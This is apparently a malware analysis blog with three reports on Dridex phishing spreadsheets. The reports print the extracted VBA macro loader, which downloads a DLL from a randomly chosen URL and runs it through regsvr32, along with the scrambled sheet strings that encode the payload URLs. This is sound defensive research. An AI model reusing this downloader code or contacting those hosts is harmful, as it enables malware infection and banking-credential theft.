Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

This post is a report of the extracted code and URLs with other findings from the latest Dridex sample that been detected on 10 Feb 2021. This sample had been reported by a security researcher Moto_Sato. Threat actor have used similar techniques and procedure that has been discussed in the previous posts:

  1. Dridex-malware-analysis [1 Feb 2021]
  2. Dridex-malware-analysis [8 Feb 2021]

This post is a skim analysis and overview of the latest sample. for further steps and methods you can read the above post.

File NameSHA265File SizeDetected AVs
79.77 KB
ujewngbg.dll1468c3d62d7cde7ef475bebf87a3e696b456a1973f91f596d6f508b0c0f3cd38989.00 KB7/67
fixed.bin2cceb29cebee08b9cf8cc02c370dec6440633f4b2da1f44db68998be84f1cb421.05 MB32/70
[Table 1] Files General Properties from VT

Threat Overview of Dridex

Based on the latest sample analysis and reports, the threat actor is using macro VBA loader in clear text functions in order to bypass detection by AV [3]

[Figure 2] Overview of Dridex from HP Threat Research Report

malware analysis

  1. Excel File

The XLSM file has four hidden sheets with white colored characters; and macro VBA locked in EvilClippy.

Macro VBA functions
#If VBA7 And Win64 Then
    Private Declare PtrSafe Function next_for_and Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function next_for_and Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If

Function marball_a(ook As String, jo As Integer)
marball_a = Mid(ook, jo, onn)
End Function

Function bussy_order(asd As Variant) As String
Randomize: ii = 2 - onn: bussy_order = asd(Int((UBound(asd) + ii) * Rnd))
End Function
Sub fill_lines_u()
parcking_list = Split(RTrim(level_recharge), refreshPage(")"))
Sheets(onn).Cells(3, onn).Name = "ms_" & "excel"
mounthYYa = Split(parcking_list(1), refreshPage("+"))
For re = 0 To UBound(mounthYYa) - LBound(mounthYYa) + onn
On Error Resume Next
Sheets(onn).Cells(3, onn).value = "=" & mounthYYa(re)
fd = Len(po & ("" & (((((Run("" & "ms_" & "" & "excel"))))))))
If re = 12 Then refas = sheetsAGT:
If re = 14 Then
add2020 = sheetsAGT
next_for_and 0, Fuel_add(bussy_order(Split(parcking_list(0), refreshPage("H") & "h"))), refas & "\" & add2020, 0, 0
End If
End Sub
Function sheetsAGT()
sheetsAGT = Sheets(onn).Range("C2:C8").SpecialCells(xlCellTypeConstants)
End Function
Public Function Fuel_add(y As String)
Fuel_add = Right(y, Len(y) - onn)
End Function
Function level_recharge()
Dim pockets_two As String
Dim chat_1_r As String: Dim swift_pay As String
Dim u As Integer: pockets_two = Nill_first(5)
chat_1_r = Nill_first(4): swift_pay = Nill_first(3)
For u = onn To Len(pockets_two)
empty_u = empty_u & marball_a(pockets_two, u) & marball_a(chat_1_r, u) & marball_a(swift_pay, u)
level_recharge = RTrim(empty_u)
End Function
Function Nill_first(rt As Integer)
For Each Q In Sheets(rt).UsedRange.SpecialCells(xlCellTypeConstants): table_last = table_last & Q: Nill_first = table_last
End Function

Function po()
po = "Z"
End Function
Function onn()
onn = 1
End Function
Function refreshPage(u As String)
refreshPage = Replace(String(4, po), po, u)
End Function

Character values hidden in sheets by order. It forms list of 50+ URLs to load a malicious DLL from one of them. The full list of URLs in APPENDIX -A

Sheet 1 
Sheet 2
hp/oi.rocczbx6rHHhp/outnsuosnc/craHhts/-ier-al3itHHhp/mpc/we.rHrt:mcagn/tttHHhp/egd.mdf.rHqt:uadeds.rHst:detnmu./gs.rHmt:muecbzuzHHhp/dime.mr4drHHhp/rfmijx.rHit:hrsr./x91aHhts/prhdgov1r.rHot:ltfwht.mfvoiHhts/amic/fw.rHut:lrnrlce.tvg.pHyt:arsaratsccoc/wxzHHhp/ninwk0eoa.m74gaHhts/u4cc5szHHhp/wpe6c/5q.pHpt:krtnpeisogf8aHhts/crnvi.m0kytHHhp/d.mtq.rHft:aoaohdc/6maHhts/wdnaf.pHet:fcohl28.pHvt:iurll1p7rHHhp/ovnucc/optiHhts/poeoqemiHhts/a.me0.rH4t:doaeeoni1haHhts/fnri.m8v3zHHhp/unst.mrb0saHhts/ldecitvabkiopg7.rHlt:dari.m3x3zHHhp/medoitrouc0aHhts/p./fdiHhts/nnceic/nmaHhts/te./9m.pHdt:anagad.mw3tHHhp/22rostiea.m4j.rH8t:tfulen5a.pH3t:cmbommn.rHqt:mi.atesveoak3aHhts/iapeogijaHhts/wheumttni../q6.pH7t:dep.dc.milzHHhp/raiunmmsuosnc/bkraHhts/wlrnteyggtHHhp/ayvandagrHHhp/oxesuo./czoiHhts/rh.ciinc/ukrHHhp/uoctsf/keaHhts/rev./1wtHHhp/uoioi/xvaHhts/espc./syzHHhp/amsvsofvy.pHtt:cco.thli./wr.pH4t:pt.mn9.r)ENEclCR0)+ENEm,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE
Sheet 3 
ts/uebnteoausvaHhts/nlesocnlkoi8.rHdt:x-apru./yoaHhts/kroni1rHHhp/eal.fhzoaHhts/taec/crtHHhp/e.ucqfrHHhp/airtitiqhwtHHhp/yosl/q7iHhts/egoic./c6aHhts/aierprtHHhp/ogtaixct.rHpt:ahmoi.mi63rHHhp/illeoec/xu.pH8t:oracohvhtHHhp/enge-amn/gczHHhp/mrdmyerhhesodx9iHhts/stge.0bspc/5n.rHgt:beuh851iHhts/wor0ozm2zHHhp/oecctrc.myy.rHxt:thanaoc/vweaHhts/6c/jttHHhp/urusmtos0.rHot:w.jo2hzHHhp/ayo./p5zHHhp/nse./s7vaHhts/tefeeop9w.pH9t:rgu.mzc.pHjt:zpc/dytHHhp/e.xn../13.rHst:lfsatc/s6viHhts/kflshbg54.rH7t:cerran-otaa.mzyprHHhp/inanc/30yiHhts/oagwco.mxf.rH0t:masrj.pH2t:cttonlomj.rH6t:chsbfcwzHHhp/gcdilyc/c4aHhts/7.ocmhnrrc/corHHhp/huri./iczHHhp/hl.mygbtHHhp/olqlycei.mxz.rH1t:ggru.m5k.rHzt:w.ecieaeavcnv50zHHhp/eleceic/ciiHhts/ornrciiocnlkof5c.rHtt:w.lea./5ryaHhts/vue./fxlaHhts/rtmotnrsya.pHbt:wkoaeoveoxp8aHhts/ywolsuom.rH6t:galesyr2aHhts/prtnnxp.rH5t:caceoas12iHhts/pgee.mlgxzHHhp/ohomenoeucjqzHHhp/htc/72r))TA(i"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUCb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)
Sheet 4

After picking a random URL from the list, the final call is locate a the path to load from “%TEMP%” and the process “regsvr32.exe”. Even after closing the excel file the process keeps running.

2. DLL File

Threat actor seems to be using different tool or technique each time to pack the same DLL file that been seen in the previous analyzed samples [9][10] . However, the overall procedure to reverse engineer this part is the same. Self-Injection technique is the way this DLL performing.

Even though, there’s not detection of the method used to pack the malicious file in any of the tools like DetectItEasy (DiE), but it’s clear enough something is hidden.

Self-Injection is the method the threat actor been using so far and it’s simple for the analyst to extract the packed file. Using x32dbg and BreakPoint on <VirtualAlloc> and <VirtualProtect> is the way to go.

When loading the hidden stub, there seems to be a clear text of PowerShell use. This way is just to confuse the reverse engineering process. There seems no use of PowerShell at this point or when dynamically running the malicious file. The stub code is loaded at <009F0000> in this example!

After that, the “packed” or in better term the “overwritten” executable is been run in memory in the same original location when it first loaded in x32dbg and it’s possible to save the dump from memory. Since it’s from memory, it requires fixing the Raw Addresses using Pe-bear or CFF Explorer.

The fixed-dumped binary has been submitted to VT and anyRun. It’s seems to be the same exact DLL that been dumped in the previous analysis! with little overhead of misleading codes.

appendix -a

DO NOT run any of below URLs



[1] Indrik Spider, https://malpedia.caad.fkie.fraunhofer.de/actor/indrik_spider

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware, https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

[3] Dridex Malicious Document Analysis: Automating the Extraction of Payload URLs, https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/

[4] Excel file from AnyRun , https://app.any.run/tasks/3d132db7-78d1-40bb-8b9f-86d9049a1107/#

[5] Excel File in VT, https://www.virustotal.com/gui/file/176eaf6e286fc4dae986a46d712f92ab08ca051ab4cbd70db9e15cc4ebfc7815/details

[6] DLL file in VT, https://www.virustotal.com/gui/file/1468c3d62d7cde7ef475bebf87a3e696b456a1973f91f596d6f508b0c0f3cd38/detection

[7] Unpacked file submitted to VT, https://www.virustotal.com/gui/file/2cceb29cebee08b9cf8cc02c370dec6440633f4b2da1f44db68998be84f1cb42/details

[8] Unpacked file submitted to AnyRun, https://app.any.run/tasks/8f8f954d-6c3c-415d-a9ff-fd0a50209afd

[9] Dridex-malware-analysis [1 Feb 2021]

[10] Dridex-malware-analysis [8 Feb 2021]

Dridex Malware Analysis [8 Feb 2021]

Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

A new Dridex sample has been found today Feb 8, 2021. What’s been know about threat actor is their use of similar techniques and procedure in their campaigns and this sample is no exception. There is slight update that been found when analyzing this sample, but the whole procedure and technique is the same. I’ve been referred to this sample by a security researcher Moto_Sato [3] and the sample been collected from AnyRun[4]. In this analysis will take a glimpse of the threat actor new update, artifacts, and indicators. For full analysis of the similar Dridex sample check the previous post on this blog. The previous sample been discovered on Feb 1, 2021. In this post will use dynamic analysis to download the sample and statically debugging the samples to check out the results.

[Figure 1] Excel file in VT
[Figure 2] DLL file in VT
File NameSHA265File Size
73.25 KB
gwftgmyy.dlle559d8d2e789cac8391fc3286b0c80efe0fc9a3bfaac15b124e7520ed0f0a02e471.00 KB
[Table 1] Basic Properties of the malicious sample, Ref: any.run and VT

malware analysis

  1. Excel File

Threat actor send a phishing email to a victim in with attached Microsoft Excel file “INV4362145800.xlsm” with locked macro. It requires enabling macro in order for malicious file to be downloaded. The cells in the background are not empty they contains characters. There are also three hidden sheets that contains the rest of the characters that forms 50 set of URLs that contains the payload.

Using EvilClippy to unload the locked macro and been able to extract the VBA code. The same tool has been used by the threat actor to avoid detection. When observing the code below and comparing with the previous one, there’s little update been done but the overall is still the same.

#If VBA7 And Win64 Then
    Private Declare PtrSafe Function xsmart_card Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function xsmart_card Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If

Function commercial_e(ll As String, lo As Integer)
commercial_e = Mid(ll, lo, 1)
End Function

Function prv_and_next(vvf As Variant) As String
Randomize: rr = 2 - 1: prv_and_next = vvf(Int((UBound(vvf) + rr) * Rnd))
End Function
Sub hello_messages()
figiner = Split(RTrim(dear_clients), v_time_year(")"))
Sheets(1).Cells(3, 1).Name = "travel_" & "T"
etnas = Split(figiner(1), v_time_year("+"))
For A = 0 To UBound(etnas) - LBound(etnas) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).value = "=" & etnas(A)
Debug.Print ((((Run("" & "travel_" & "" & "T")))))
If A = 12 Then A_min_1 = court_and_four:
If A = 14 Then
Msira = court_and_four
xsmart_card 0, copy_data_a(prv_and_next(Split(figiner(0), v_time_year("S") & "s"))), A_min_1 & "\" & Msira, 0, 0
End If
End Sub
Function court_and_four()
court_and_four = Sheets(1).Range("C1:C5").SpecialCells(xlCellTypeConstants)
End Function
Public Function copy_data_a(jk As String)
copy_data_a = Right(jk, Len(jk) - 1)
End Function
Function dear_clients()
Dim hmouses As String
Dim fig_1_1 As String: Dim value_cargos As String
Dim u As Integer: hmouses = help_resource(4)
fig_1_1 = help_resource(3): value_cargos = help_resource(2)
For u = 1 To Len(hmouses)
microtech = microtech & commercial_e(hmouses, u) & commercial_e(fig_1_1, u) & commercial_e(value_cargos, u)
dear_clients = RTrim(microtech)
End Function
Function help_resource(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(xlCellTypeConstants): world_docs = world_docs & ds: help_resource = world_docs
End Function
Function v_time_year(df As String)
v_time_year = Replace(String(4, "Z"), "Z", df)
End Function

After little cleaning, the characters in sheets are as below

Sheet 1 
qt:h.moy9.rS8t:dp.bt./eziSsts/micqteoz8o.rS8t:csf.gun8kiSsts/pcc./7vzSShp/bi.ao.my5zSShp/reienoadv7zSShp/dsi/ih.rS4t:dhioteliso/hb.pSlt:tasokimtSShp/ateqlrmoeqg8tSShp/dtv.mma1aSsts/aerosrnaetSShp/isdnnaesri.trr6.rS4t:ihheml.mdqfiSsts/menoa5v.pSit:gcodhnctnoft.pS6t:mlesorcxj.pS0t:soetaesri.trpcciSsts/a.iczjhp.rS2t:eotenoawhntSShp/peheni7.pSat:plnagtootrghnozSShp/a.tu./s3.rS5t:heter.m61jtSShp/e.swc/9f5iSsts/ra.mra66aSsts/asraaows.rSzt:stotn.mzezaSsts/tub.zo5zSShp/or.v./kytSShp/ysatnn.mrdzvtSShp/oesidood6tSShp/hohplwc/cx5iSsts/yelbugvdrSShp/oaoeaeisnl5qiSsts/teoc.muhtSShp/uaogsi./s9iSsts/nreeb.m75tSShp/tenoa9g9rSShp/teaytaromp.rS9t:vasowb.pS9t:naolenoa2h.pSut:bgoionnimc7.pS6t:rhtshmmiuvo.rS7t:iot.mtfcaSsts/ittatc/eoaSsts/gstsl../dtiSsts/beannogu.pS0t:hhnoc.m2nzSShp/usrersosiv.r)ENEclCR0)+ENEm,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE
Sheet 2
hp/cc./vzrSShp/rawsefg1.pSet:ecn5ni.mho4rSShp/ls7o./5z.pSot:a.xocrrciSsts/itsrjc/gfiSsts/orql../uaxiSsts/e.tcdotSShp/ranvisuo.bd39zSShp/eb.mvluaSsts/po.uii../z36aSsts/brec/k7.rSrt:asmis.gaptaSsts/voetanncibn./e7rSShp/.eisuic/ps.pS3t:btl../iuzSShp/c...roua.mhwzSShp/a.fo.golqzSShp/urdvnncibn./wr.pSvt:msenoa51wrSShp/nvel../qbtaSsts/.ae./jqzSShp/om.niousosrufyiSsts/ktutew6trSShp/akecic/twuaSsts/sraaoqi9.pSbt:kkcc./f2.rSct:snhai.mm0rSShp/o-litc/42.rSnt:b.oab/o9iSsts/ptfackf8aSsts/uehtyac./1cuaSsts/nrut.mgfeaSsts/iroiosohtd.pSst:p.vl./aojaSsts/cnrnlrc./hy.pSyt:getpac/k4aSsts/ssli.ict9.pSpt:yio.hic/fiaSsts/2l../7lgaSsts/u.dmit.m3vtSShp/kl.meozSShp/oloel../x6zSShp/l.gtnlen4hczSShp/am-saiydrrptSShp/nvoc/jk.rSqt:oegeydonp.rSgt:sama.iczu8.pSrt:grllt./jmzSShp/ildaoc/6miSsts/bcgxe.mdzxt))TA(i"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUCb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)
Sheet 3

When debugging the VBA code in Microsoft Visual Studio the first thing to look for is the set of URL list. There are 50 URL been found in this sample the full URL set in Appendix -A below. The code choses a random URL from this list to download the malicious DLL. The code also forms a random name for the DLL and run it in Regsvr32.exe.

When doing dynamic analysis the second stage DLL is downloaded from the malicious URL to %TEMP% folder and loaded in Regsvr32.exe process. The next step would be analyzing the DLL file and see if it’s similar to the previous samples

2. DLL File

It seems that all DLL files downloaded from the URLs are similar and the only difference is the DLL name. The first look at this DLL file “gwftgmyy.dll” it seems to be a bit optimized than the pervious sample [6]. The sample seems to be compiled in 2014!

When looking at the IDA bar to observe the amount of code in comparison with the size [471.00KB] and looking at the gray area, it seem packed

The threat actor been using same technique of Self-Injection just like before. Quick debugging using x32dbg to unleash the packed file with setting breakpoint on <VirtualAlloc> and <VirtualProtect>. As per this method, the PE file requires to allocate a memory space first using VirtualAlloc.

The second step would be hitting VirtualProtect in order to unleash the stub and perform the self-injection technique

To dump the unpacked version, using ProcessHacker and locate the same address of EDX register.

The unpacked binary requires fixing Section Headers in Pe-bear in order to get the imports library by matching Raw addresses with Virtual ones.

Finally, the unpacked file seems to be the same one discovered in the previous analysis with similar stamps.

File NameSHA265File Size
715c0000_Fixed.bin20bf0a8d139b5e517799339c3db2169ead923e65259ac10eb4ba026b2a4d2246516.00 KB
[Table 2] Basic Properties of Unpacked file submitted to VT [7]


DO NOT click at any of the URLs



[1] Indrik Spider, https://malpedia.caad.fkie.fraunhofer.de/actor/indrik_spider

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware, https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

[3] Security Researcher, https://twitter.com/58_158_177_102

[4] Excel Sample, https://app.any.run/tasks/baaf23e7-a3d1-42c1-b4b4-fbb827b2febc/#

[5] EvilClippy Github repository, https://github.com/outflanknl/EvilClippy

[6] Dridex DLL VT, https://www.virustotal.com/gui/file/26a659ec56c7bd7b83a2f968626c1524bda829e0fefff37ecf4c4fb55ad158e3/detection

[7] unpacked DLL, https://www.virustotal.com/gui/file/20bf0a8d139b5e517799339c3db2169ead923e65259ac10eb4ba026b2a4d2246/details

Dridex Malware Analysis [1 Feb 2021]

Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

In this post, presenting reverse engineering malware of the recent Dridex sample that has been found in the wild earlier this February. The analysis highlights the techniques and codes used by the threat actor; and the method used to analyze this sample and extract hidden IOC and files that has not been detected by sandbox. Note that multiple labs got different artifacts and indicators so this work is almost a contribution to others security labs and researchers. This malware has two stages, the first one is an Excel file that has embedded VBA macro which infect the system with a DLL file that runs as a process in the second stage.

File NameSHA265File Size
printouts_of_outstanding_as_of FEB_01_2021.xlsmb721618810b06ed4089d1469fc5c5b37be1a907fc1ae14222f913c6e2b0001c2115.81 KB
libeay32.dll26a659ec56c7bd7b83a2f968626c1524bda829e0fefff37ecf4c4fb55ad158e3570.00 KB
[Table 1] Samples Basic Properties, Ref: Any.Run [3] [4]

Malware analysis

  1. Excel File with Locked Macro

As what appear to look like an invoice delivered via email at the first day of the month is a malicious spreadsheet. The XLSM extension is indication that M stands for Macro and the code only runs when macro feature is activated and clicking on the sheet! What looks like cell with number are just images linked to the macro.

There’re three hidden sheets and locked macro! Apparently locked doesn’t mean password protected, it means locked! And can’t be extracted and reused in new excel for this case in particular.

[Figure 2]

To debug this sample require two steps:

First: extract the sample and locate the malicious file that has the macro using oledump.py. Identifying the macro is located at the fifth stream which is a VBA code.

[Figure 3] Oledump On Linux machine

Below is the extracted code

#If VBA7 And Win64 Then
    Private Declare PtrSafe Function yellow_pages Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function yellow_pages Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If
Function last_counter_a(nimo As Variant) As String
Randomize: df = 2 - 1: last_counter_a = nimo(Int((UBound(nimo) + df) * Rnd))
End Function
Sub Prv_invoice()
RoLo = Split(RTrim(first_prepayment), progress_bars(")"))
Sheets(1).Cells(3, 1).Name = "ForA_" & "s"
storages = Split(RoLo(1), progress_bars("+"))
For A = 0 To UBound(storages) - LBound(storages) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).Value = "=" & storages(A)
Run ("ForA_" & "s")
If A = 12 Then A_min_1 = re_order:
If A = 14 Then
vega = re_order
yellow_pages 0, date_to_date(last_counter_a(Split(RoLo(0), progress_bars("D")))), A_min_1 & "\" & vega, 0, 0
End If
End Sub
Function re_order()
re_order = Sheets(1).Range("B1:B5").SpecialCells(xlCellTypeConstants)
End Function
Public Function date_to_date(rr As String)
date_to_date = Right(rr, Len(rr) - 1)
End Function
Function first_prepayment()
Dim cooperation As String
Dim rest_che As String: Dim value_cargos As String
Dim u As Integer: cooperation = accouintis(4)
rest_che = accouintis(3): value_cargos = accouintis(2)
For u = 1 To Len(cooperation)
rezzzult = rezzzult & book_rebook(cooperation, u) & book_rebook(rest_che, u) & book_rebook(value_cargos, u)
first_prepayment = RTrim(rezzzult)
End Function
Function accouintis(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(xlCellTypeConstants): forTwo = forTwo & ds: accouintis = forTwo
End Function
Function progress_bars(df As String)
progress_bars = Replace(String(4, "Z"), "Z", df)
End Function
Function book_rebook(y As String, k As Integer)
book_rebook = Mid(y, k, 1)
End Function

Second: Unlock the document by using EvilClippy tool which removes the malicious macro. Open the new version and create new macro and paste the above VBA code. Previous incidents involve Dridex also notice the use of EvilClippy use

[Figure 4] Unlocking the xlsm file

Before debugging the code, the main sheet and the three hidden ones got some characters white colored spread among cells by 7×7000 size. After a bit of cleaning they appear be random, but not encoded. Below are the sheet characters.

[Figure 5] Random cells from Excel file
dt:lsawoqnczDDts/amki.thhm.rDhp/asrotnsezv2zDDts/kaacrohw.pDhp/ia.inbnitaidliiD1t:ruehoj0izDDts/slntnthoqoh.rDhp/wkxec/c06iDct:w.chdac/7b.rDhp/oraaiobhzd.pDhp/rnuoododh0zDDts/alaict.myezDDts/rea.mkfarDDts/naiur.pDhp/h.oneoc7wzDDts/iclerimzizDDts/lbenc/x4raDvt:blyean8a.pDhp/ada.mz6rDDts/laict.m4tdrDDts/lglgc/5eaDgt:hero/b7iD9t:n.ur.m07tzDDts/thosyf.pDhp/c../gaaD8t:a.tcnsog0.rDhp/us.btr99iDwt:di.e.tp5y.pDhp/earcsoaqwi.rDhp/srgcpioom3.rDhp/uittbeottfiD2t:aecsc/wkxiDzt:w.reaocvj.pDhp/leye.m12.rDhp/raepainantuizDDts/tpsoxls.pDhp/c.fnybzDDts/bhesuoc/wlzDDts/iaaalglc/3c.pDhp/wstnrc/rn.rDhp/leeseoc./b9.pDhp/kdsi/23iDrt:gaa.tfj3aDyt:jabdeismooq.pDhp/psnniorgzDDts/rweamic/j9ciD5t:kbdnsnd5.pDhp/wi3.mjpviDbt:miad.naqcket.mt61aD9t:hbertainan2w.pDhp/esolteec/59rDDts/ytne.lo.mmd.rDhp/hhssteln.mjarDDts/nnei.nngcc/r3.rDhp/aicigtoaDft:sorioao.fp3hiDat:kiotsgqozaDgt:diloid1g.rDhp/sodi.msn.pDhp/5iltotnc/l6zDDts/dnai/0q.rDhp/aueegc/oxiDqt:talefc/y3.rDhp/mq.fht.pDhp/ofpr../ft5iDct:siamesezezDDts/bxobep6zDDts/jai.mab.m6tzDDts/sse.m3udzDDts/eoslromcczDDts/jmuac/d4aDgt:tebobae.rDhp/rdeeun/gl9iDzt:lsgo.m3zprDDts/svo.mrdwuaDjt:bbt.o/bviDtt:hkdc/4t.rDhp/rnapnnosopt.rDhp/uakrdeaotgiiDpt:qndba.m5mezDDts/lbf.mrlszDDts/dpcdsodln.pDhp/aa.mvsrDDts/rn.mkpciDit:ahcmt./77.rDhp/deu.e.tud.pDhp/ciesoc/spzDDts/sraaoi/wnaDot:w.nvi.g2rrDDts/aspow1diDxt:w.armic/3kzDDts/fdtgsc/yhziDut:mnac/y5ziDdt:weiantc/9h.rDhp/u.mab.m80zDDts/btbsli.mfjjzDDts/rgr.mddjzDDts/rhtc/flaDjt:noteamic/1piDnt:cle.m2trDDts/iceacdsoqpr.pDhp/eaiasi/l1.rDhp/lsenaolp0iDkt:tteynaodkfaDrt:cpavau.tpemrDDts/ceirwh.pDhp/uaaoa.t95arDDts/ise.m4ocaDot:ctgcsobdf.rDhp/eoleolaedc/is.pDhp/dheaohgniD9t:ccerfdxzDDts/libdc/rkiDtt:ovioilsrewjzDDts/rsrc/03aD2t:ispc/ejzDDts/olts1ld./gfzDDts/pra.fj2.pDhp/piipa.rDhp/eaatknti.mwceiDmt:mlerefec/up.pDhp/aacwqprDDts/r.mab.mxn.pDhp/io.narc/laz))TA(i"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUBb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)

Sheet 2
Sheet 3

ts/nhoc/5y.pDhp/hkrtgi/vbxaDtt:leosuo.tvqc.pDhp/iwsaac/pwiD6t:lryramitu../bfzDDts/orcc/oh.pDhp/lqimiocc/eu8aD3t:w.oe.mry5zDDts/wsaeb.mprxaD6t:cpmsuc./stdiDmt:gelcpnc/yl.pDhp/t.ccynrovm.pDhp/acesoz0j.rDhp/irb/tiiD4t:spoalc/f1.pDhp/aalgo./05.pDhp/lolo.mrdxrDDts/lemiidyviD0t:meceog0.rDhp/.ccynromns.rDhp/kpoe.m1trDDts/so.ghbzDDts/odptoexx.pDhp/ucc./49iDlt:bgoae1rDDts/pusicc/suaD4t:paiei/v7zDDts/nldsi/asliDft:nmeioc./3t7aDvt:st.-mtdc/o1aD0t:hfgninc/lwzDDts/hap.mqlgzDDts/watrc./juiDct:ivarkozvyaDrt:amha.oiiiven.pDhp/equc/0uliDzt:gmn/93.pDhp/etbsli.m0a.pDhp/rhtyoen.mgnviD0t:w.iii.mmq9aD5t:erdoui.mrtfiiDat:uivsenxzDDts/iesi/o2rDDts/m.lrtnac/h0iDut:woao.fxi.pDhp/oa.mab.mpo4zDDts/arrwilqziDct:w.m3ooyczDDts/brtvirtisnirovl6rDDts/rltc.oiiiiwpiD1t:valaict.mcz.rDhp/gtoybothod8waDgt:skrnitaoaotu.rDhp/oe-geaoan.mi8iaD8t:ts../izrDDts/hah.mgyn/f4zDDts/cnolnetqrDDts/gax./d92aDbt:dfntnook3iD7t:5faasuo.mnq.pDhp/aevselo3aDyt:cmwdi.mqzzDDts/yhti.mwemaDmt:esen/fqiDrt:ni.izon44gzDDts/gtit.tmx.pDhp/woc./pc.pDhp/acpglmolofy.pDhp/mcdsor1e.pDhp/obiiec/69.pDhp/rnjd.m3crDDts/uyc/i86aD4t:muept.t0jkzDDts/toykollz.rDhp/frysobg2grDDts/moatedzzDDts/ca.m7vnaDft:sevaiiwkc/b6aDat:qbaannic/8dzDDts/iaaceok93.pDhp/eiftobhe.pDhp/oa.tvc/u8xiDet:ssdoty.rDhp/oodoigozDDts/p-esyrsrkaD7t:errtdsi/k3iDyt:evlai.myy.pDhp/uagw.leb9rDDts/wievargn.rDhp/geoc/sczDDts/wdons.m3a.pDhp/n.fni.m3r1zDDts/uk.mnkqzDDts/mwhaa.mk00aDdt:cclmoloq2.pDhp/o.eeotnoil2.pDhp/tnhrot9f.pDhp/gsw.m5rrDDts/ce.mab.mvuzDDts/idmoep.rDhp/mhld.tvc/9bmiDst:jtfieseqvqaDvt:beeirc/00zDDts/xrbitc/zurDDts/rrislsedae.rDhp/pd./bnoiDqt:bbktlsezev.rDhp/pcdsocogrDDts/loaec./6yaDut:psapsarnf.mhoxiDvt:atmic/9fzDDts/ico/